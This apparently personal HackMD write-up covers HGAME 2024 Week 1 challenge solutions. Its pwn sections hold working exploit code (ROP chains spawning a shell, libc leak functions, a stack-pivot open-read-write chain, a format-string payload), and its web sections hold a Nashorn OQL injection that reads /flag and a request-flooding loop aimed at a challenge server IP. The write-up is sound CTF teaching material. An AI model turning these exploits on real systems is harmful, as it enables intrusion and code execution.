Try   HackMD

HGAME 2024 Week1

links:

MISC. simple_attack

F***:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

THEY DIDN'T WORK AT ALL!!

*append: THE ONLY WORKING WAY is that repack the 103223779_p0.jpg with bandizip, even failed by specifying src.zip.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

MISC. Greeting

  • The file has been scaned on https://www.aperisolve.com/
  • Extract using steghide with 123456 as passphrase.
  • Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
    Get the special font from its official site.

MISC. Hill

  • I don't know how to recover the image tbh.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

I **BRUTEFORE the cipher with ChatGPT:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

RE. ezPYC

__import__('dis').dis(__import__('marshal').loads(open('/tmp/ezPYC.pyc','rb').read()[16:])) # skip header

# constant ^ (1,2,3,4)

RE. ezUPX

  • UPX packed.
  • Remember of so called "Law of SP", which says the decompress/decrypt routine must keep the stack balanced, thus the stack pointer would restore to an initial position before executing the original program.

We can use IDA as a debugger to find the restored entry point by tracing the stack changes. After that, we will be able to analyze it in-place to figure out the flag.

  1. Set a HW breakpoint at the stack:

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  2. Continue running until suspicious function prologue show up after HW breakpoint interrupted:

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    (Interrupts at here. After reanalyzing (Options - Gerneral - Analysis - Reanalyze program) we can clearly see a standard prologue, which differ from UPX unpacking routine a lot.)

    Also there is a pop up warning that RIP has jumped to somewhere not defined as code, which indicates that the execution flow has migrated from unpacking codes to the main procedure.

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  3. Toggle decompile from here we'll be able to find the main function call:

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  4. The main function is simple, a single byte XOR loop:

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  5. Then the flag can be retrieved with IDAPython:

    ​​​​Python>''.join(chr(b^0x32) for b in get_bytes(get_name_ea_simple('to_compare'),0x25))
    ​​​​'VIDAR{********}\x00'
    

PWN. Elden Random

The buffer storing the first read() will overflow by 8 bytes, which overrides the seed local variable.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

By reproducing overflow with constant value, the rand() results will be deterministic. We can generate a sequence by taking advantage of Compiler Explorer.

int main() { srand(0); for (int i = 0; i < 100; ++i) { if (i % 10 == 0) { cout << endl; } cout << rand() % 100 + 1 << ","; } return 0; } /* 84,87,... */ // override the seed to be 0: // >>> r.send(b'A'*10+p64(0))

Once reaching the final myread() function, remaining steps could have been totally automatic (refer to this trick previously discussed), as long as a working leak method is provided.

# copy from ipython shell # how this method work, see https://colab.research.google.com/drive/1zyThOJtMqwuzMInM1k_2clEsF5z3rhxC?usp=sharing def leak(addr): ...: r.clean() # poprdi gadget from __libc_csu_init() ...: r.send(b'A'*48 + p64(0xdeadc0de) + p64(0x401423) + p64(addr) + p64(e ...: .sym['puts']) + p64(e.sym['_start'])) ...: ret = r.recvuntil(b"\nMenlina:")[:-9] ...: r.send(b'B'*10+p64(0)) ...: r.recvuntil(b'brilliant mind') ...: if not len(ret): ...: ret = b'\0' ...: return ret

A fun thing is that the iterator i is a static variable, so it's unnecessary to resend the rand() sequence as shown above, since i stay the same after re-execution from _start.

And the final payload is structured exactly the same to what has been shown in the reference link:

# copy from ipython shell
In [183]: last_payload = (
     ...:   b"A"*48+p64(0xdeadc0de)
     ...:   + p64(pop_rdi)
     ...:   + p64(binsh)
     ...:   + p64(pop_rsi_r15)
     ...:   + p64(0) * 2
     ...:   + p64(pop_rdx_r12)
     ...:   + p64(0) * 2
     ...:   + p64(execve)
     ...: )

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

PWN. Elden Ring I

  • Ask ChatGPT to understand what restriction was set by seccomp calls:

    So, the purpose of these calls is to restrict the process from making execve and execveat system calls. If the process tries to make either of these calls, it will be killed. This could be part of a security measure to prevent the process from executing other programs.

As the explaination says the execve syscall is forbidden. We have to construct an open - read - write chain to read flag from remote filesystem. Since the read() and puts() (which acts as the writer function) have been imported, the only trouble that need to get over is to program an open() call, requiring its entry address to be leaked.

Back to the vulnerable, since the first overflow only provid 48 bytes of space, it's necessary to perform a stack-pivot, where the actual cat payload will be hold.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Luckily, this function provides an all-in-one gadget, which let us put the cat payload as well as migrate the stack at once:

CleanShot 2024-01-30 at 23.02.26@2x

The available stack address can be retrieved by DynELF.stack():

# copy from ipython shell
In [233]: def leak(addr):
     ...:     r.clean()
     ...:     p = fixture+p64(0x4013e3) + p64(addr) + p64(e.sym['puts']) + p64(e.s
     ...: ym['vuln'])
     ...:     p += p64(e.sym['vuln'])*((0x130 - len(p))//8)
     ...:     r.send(p)
     ...:     ret = r.recvuntil(b"\nGreetings.")[:-11]
     ...:     if not len(ret):
     ...:         ret = b'\0'
     ...:     return ret

dyn = DynELF(leak,0x3ff000)
base = dyn.bases()[b'./libc.so.6']
sp = dyn.stack() - 0x1000  # any legal stack space

Then perform a read() call to read the cat payload into the chosen address:

In [293]: def setreg(base,**kw):
     ...:     pop_rax = base + 0x00036174
     ...:     pop_rdi = base + 0x00023b6a
     ...:     pop_rsi = base + 0x0002601f
     ...:     pop_rdx = base + 0x00142c92
     ...:     dx_sp = base + 0x0005b4d0
     ...:     payload = b''
     ...:     if 'rax' in kw:
     ...:         payload += p64(pop_rax)+p64(kw['rax'])
     ...:     if 'rdi' in kw:
     ...:         payload += p64(pop_rdi)+p64(kw['rdi'])
     ...:     if 'rsi' in kw:
     ...:         payload += p64(pop_rsi)+p64(kw['rsi'])
     ...:     if 'rdx' in kw:
     ...:         payload += p64(pop_rdx)+p64(kw['rdx'])
     ...:     if 'rsp' in kw:
     ...:         payload += p64(pop_rdx)+p64(kw['rsp'])+p64(dx_sp)
     ...:     return payload
     ...:

fnopen = dyn.lookup('open','libc')

cat = (
    b'flag\0\0\0\0' 
    + setreg(base,rdi=sp,rsi=0) + p64(fnopen)
    + setreg(base,rdi=3,rsi=sp+0x400,rdx=0x100)+p64(e.sym['read'])
    + setreg(base,rdi=sp+0x400)+p64(e.sym['puts'])
)
cat += p64(e.sym['_start'])*((0x130 - len(cat))//8)

fixture = b'A'*256+p64(sp) # <= leave
payload1 = fixture + setreg(base,rax=sp)+p64(0x40127d)+p64(e.sym['vuln'])
payload1 +=  p64(e.sym['vuln'])*((0x130 - len(payload1))//8)


r.send(payload1)
r.send(cat)
r.recv()

PWN. ezfmt

This is a really tricky challenge.I would like to write much more details for it.

fmtstr problems usually requires a read-write loop so that you leak out the essential address, then write something back to a calculated address to hijack the routine. Another common way is to overide the offsets stored in .got, then call the modified dynamic-resolved function to jump to arbitary address/procedures.

But in this challenge, both of the techniques mentioned above failed.

As the disassembly shows there is nothing more than a trivial return from after the vulnerable printf:

CleanShot 2024-02-03 at 17.56.31@2x
CleanShot 2024-02-03 at 17.57.47@2x

Since the target vulnerable has embeded a backdoor function sys, we have to catch the only chance and control the execution flow returning to sys.

  • My first idea was to hijack the stack checker, which was soon proven impossible, since the stack never overflows:

    CleanShot 2024-02-03 at 18.01.27@2x
    CleanShot 2024-02-03 at 18.01.52@2x

  • Next I turned to the finish hook .fini_array, which has a static address, and it seems to be writable:

    CleanShot 2024-02-03 at 18.04.48@2x However it's just an illusion. When loaded into memory, it turned to be immutable, locked by ld:
    CleanShot 2024-02-03 at 18.11.23@2x

  • So the only key left to us remained the rbp chain.

The xBP chain in Format String challenges

  • We know the %n specifier requires an address of a variable. printf("%n",&v) writes the number of printed characters into v. So the behavior on the given value to %n will be:

    1. (x86_64) If the format specifier is indicating the first 4 variadic arguments, the value from corresponding register is taken as addr, the number will be written to addr;
    2. If the specifier is indicating the latter arguments, the value from corresponding stack position is taken as addr, in which case we notice that:
      • (i). If we want to change some value on the stack by %n, e.g. the return address of current subprocedure, there must be a cross-reference(xref) to the address of the target value, inside the stack area, which can be discovered by searching the memory.
      • (ii). If our format string is put on the stack, since the printf specifiers are able to refer to the string itself, we can write arbitary address by giving the address within the format string.
  • Now take a look at *bp (i.e. rbp/64, ebp/32).

    • We know that bp is saved to the stack whenever diving into the next call, and each bp of the stack frame is chained, pointing to its caller's.
    • We know the return address of current frame is stored next to the saved bp. When the current subprocedure ends, the epilogue will do some job equivalent to mov bp => sp; pop bp;

Consider the two points, we found that the bp chain perfectly meet the requirement of the stack layout towards the format string exploit. If we manage to get the %n referencing to the bp of current stack frame, it is possible to change the saved bp of its caller, which is taken as new bp value when the caller returns, and finally redirect the sp and *ip when the caller of caller returns.

In a word: If %n references to a stack frame of a function, we take control when the caller of caller of that function returns.

However in this challenge, the caller of vulnerable function is main(). The caller of main() never returns, the process end up with calling exit() directly.

  • What about find OTHER bp chains rather than the current?
    • Let's search the memory for somewhere pointing to current rbp:
      CleanShot 2024-02-04 at 05.43.26@2x
      .
      CleanShot 2024-02-04 at 05.44.05@2x
      Wow! There it is! It lands on the %18$ position, just take it as the payload!
    • Attention, we are about to change the bp value saved in current frame, so it takes effect when the main() is returning. We want the forged bp to point to the tail of the payload, so that the returning address is completely specified by us.
    • Since the forged bp is quite near to original legal bp address, only the lowest byte is needed as the %n argument. To struggle against randomized address, we need some luck to get the payload working. I end up with this:
      ​​​​​​​​fmt = b'%120c%18$hhnPPPP' + p64(e.sym['sys'])*6
      
      sp must be aligned to 16 bytes before calling system(), so the payload set the sp to 0xxxxx78. Inside sys() there is another push adjusting the stack to be aligned.
  • After a bunch of spamming, we are in:
    CleanShot 2024-02-04 at 06.17.07@2x
    hOOH.. That's it.

or, is it?

The Amazing, The Weired

If you can't find any clue in this challenge, you might be suffering this:

CleanShot 2024-02-04 at 06.28.33@2x

Huh?! There isn't any available rbp chain at all!!!

What's going on?

After research around, I notice that the solution relies on a very specific condition. If you are interested, pleas refer to this post for more details.

PWN. ezshellcode

WEB. Courses

  • Capability is refreshed after a period of time, definitely need some luck to have a chance noticing that.
  • Perform a busy loop to catch the opportunity:
const f = (id)=>fetch("http://47.100.137.175:31203/api/courses", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6,ja;q=0.5",
    "content-type": "application/json"
  },
  "referrer": "http://47.100.137.175:31203/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify({id:id,is_full:false,status:true}),
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
})

a = setInterval(()=>[1,2,3,4,5].map(f),1000)

// go back to check /api/ok after a while

WEB. Bypass It

  • Seems nothing responded:

    CleanShot 2024-02-01 at 01.51.07@2x

  • What about fetch it manually?

    CleanShot 2024-02-01 at 01.54.45@2x

    It actually did return a page, in which we can see the form to be posted with in registeration.

  • Follow the form to make registeration request:

    CleanShot 2024-02-01 at 02.02.02@2x

Then login will be available, after that the flag is presented.

WEB. 32768

  • Mute out debugger breakpoints:

    1. Enable local override for the main js file;
    2. Replace all "debu" string with "_debu";
    3. Name something to _debugger (e.g. function _debugger(){}) to make the statement meaningful.
  • Examine the obfuscated code, it shows that the string literals and identifier/names are likely to be plain text. So we can directly search the keywords such as game over, which leads us to this function:

    CleanShot 2024-02-01 at 04.55.55@2x

    Think about the game procedure, the "game over" message must follow up with stepping actions. So here the breakpoint should take us into a judement deciding whether we have won the game, where were likely to let us capture the flag.

  • Play the game, we found that the breakpoint is imediately taken. Check the call stack, where we can find some suspicious judgements:

    CleanShot 2024-02-01 at 05.07.52@2x

  • Also we can see some data structure very likely to be for holding number blocks.

  • Break here and modify the cells to generate 2 16384 block, merge them into 32768, then the flag will be presented.

WEB. jhat

* I'M TOO DUMB TO UNDERSTAND THE HINT "NEED RCE"

  • which actually means "ALL YOU NEED is RCE."

Correct solution / step:

  1. Randomly try executing OQLs until you notice the error message:
    CleanShot 2024-02-03 at 01.44.07@2x
  2. Search this component from google you'll know that it's an ES interpreter built into JDK.
  3. Read the official nashorn manual and learn to use the Java Interface from inside the script.
  4. Use Java's IO utils to read the flag from the filesystem.
    ​​​​select function(_){
    ​​​​    var File = Java.type("java.io.File");
    ​​​​    var Scanner = Java.type("java.util.Scanner");
    ​​​​    var flag = new Scanner(new File("/flag"));
    ​​​​    return ["->",flag];
    ​​​​}(c)
    ​​​​from 0x70fa9a6d0  c
    

Failed Attempts to retrieve infomation from the headump

  • Snippet to convert the content preview to readable.
    ​​​​Array.from(document.querySelector("body > table > tbody").children).forEach((e)=>{const sz = new TextDecoder().decode(Uint8Array.from(eval(`[${e.firstChild.innerText.slice(1,-1)}]`)));e.firstChild.innerText = sz})
    
    ​​​​for(let e of document.querySelectorAll("body > a")){
    ​​​​    if (! /\{.+\}/.test(e.innerText)){
    ​​​​        continue
    ​​​​    }
    ​​​​    try {
    ​​​​        const sz = new TextDecoder().decode(Uint8Array.from(eval(`[${/\{.+\}/.exec(e.innerText)[0].slice(1,-1)}]`)));
    ​​​​        e.innerText = sz;
    ​​​​    } catch(_) {}
    ​​​​}
    
  • Attempted OQLs:
    ​​​​// find concerned strings
    ​​​​select function(o){
    ​​​​    var jsz = toArray(referrers(o))[0];
    ​​​​    return [[jsz,"<=",referrers(jsz)],String.fromCharCode.apply(null,toArray(o))];
    ​​​​}(o) 
    ​​​​from [B o 
    ​​​​where 
    ​​​​o.length < 1000
    ​​​​&&
    ​​​​function(s){
    ​​​​    return  /demo1/.test(s); 
    ​​​​}(String.fromCharCode.apply(null,toArray(o)))
    
    ​​​​// retrieve the header of large buffers
    ​​​​select function(o){
    ​​​​    var range = '';
    ​​​​    for(var i=0;i<8;++i){range += ''+i;}
    ​​​​    var s = 'H=>' + JSON.stringify(String.fromCharCode.apply(null,toArray(range).map(function(k){return o[k];})));
    ​​​​    return [s,o.length,o,referrers(o)]
    ​​​​}(b) 
    ​​​​from [B b 
    ​​​​where 
    ​​​​b.length > 1000
    
    ​​​​// list loaded jars
    ​​​​select function(o){
    ​​​​    return [o,String.fromCharCode.apply(null,toArray(o.name.value))];
    ​​​​}(o) from instanceof java.util.jar.JarFile o
    

CRYPTO. PRNG

CRYPTO. ezMath

CRYPTO. ezRSA

  • pqpmod(pq)(p,q is prime)leak1 is p, leak2 is q
  • d = gmpy2.invert(e,(leak1-1)*(leak2-1))

CRYPTO. Pictures

  • The most interesting problem in this week IMO.
  • What we learn from the source code:
    1. Each original flag image has the same background.
    2. The Key Image wipes out the solid glyph and Xor-ed into every image.
    3. Within each step, a single flag letter was draw onto the last image, which means the images generated adjacently in sequence only differ by a single glyph.
    4. The images had been prepared before saving them to disk. The randomly sleep() doesn't matter to the drawing of the flag letters. In another word, the glyph-generating order is guaranteed to be the same to the flag letters'.

Solution

  • From 1. 2. we can conclude that:
    • Xor between any 2 images will erase the background since their original background and Key is totally the same. (clue 1)
  • From 3. and clue 1 we can conclude that:
    • If we find an image that Xor-ed from A and B, and the image shows only one glyph, it indicates that A and B are generated one by another. (clue 2)
  • From 4. and clue 2 we can conclude that:
    • If we arrange all the single-glyph image satisfying that the related A and B is linked to each other, we get the image generation order, which indicates the letter order of flag.

To operate with image and pixiel caculation, always remember of the old friend numpy:

from glob import glob
from itertools import combinations
import numpy as np

imgs = list(map(Image.open, glob("./png_out/*.png")))

def qXor(k1, k2):
    img1 = None
    img2 = None
    if isinstance(k1, int):
        img1 = imgs[k1]
    if isinstance(k1, Image.Image):
        img1 = k1
    if isinstance(k2, int):
        img2 = imgs[k2]
    if isinstance(k2, Image.Image):
        img2 = k2
    a1 = np.array(img1)
    a2 = np.array(img2)
    return Image.fromarray(np.bitwise_not(np.bitwise_xor(a1, a2))) 
# I transformed the background to be white for easier observing, 
# which is only my habit and not necessary.

Next we generate all Xor combinations to find the images containing one glyph:

for subset in combinations(range(len(imgs)), 2):
    d = np.array(qXor(*subset).convert("RGBA"))
    rgb = d[:, :, :3]
    mask = np.all(np.abs(rgb - [255, 255, 255]) < 5, axis=-1) # tolerance, to ensure the background neat and clean
    d[:, :, 3] = np.where(mask, 0, 255)
    img = Image.fromarray(d, "RGBA")
    img.save(f"./combinations/{subset[0]}_{subset[1]}.png")
# Make the background transparent for easier observing, later when overlapping them together

CleanShot 2024-02-03 at 03.55.38@2x

I strongly recommand that put all the chosen image into an image editor. Some images may be very similar, and you definitely need to overlap them together to make sure you catch different pieces.

Rename the layers so that we know both the content and the source numbers, which is very helpful while adjusting the order.

We know the flag starts from hgame{ and end with}, so let it be.

And the remaining order should be able to reveal.

CleanShot 2024-02-03 at 03.59.44@2x
CleanShot 2024-02-03 at 03.59.54@2x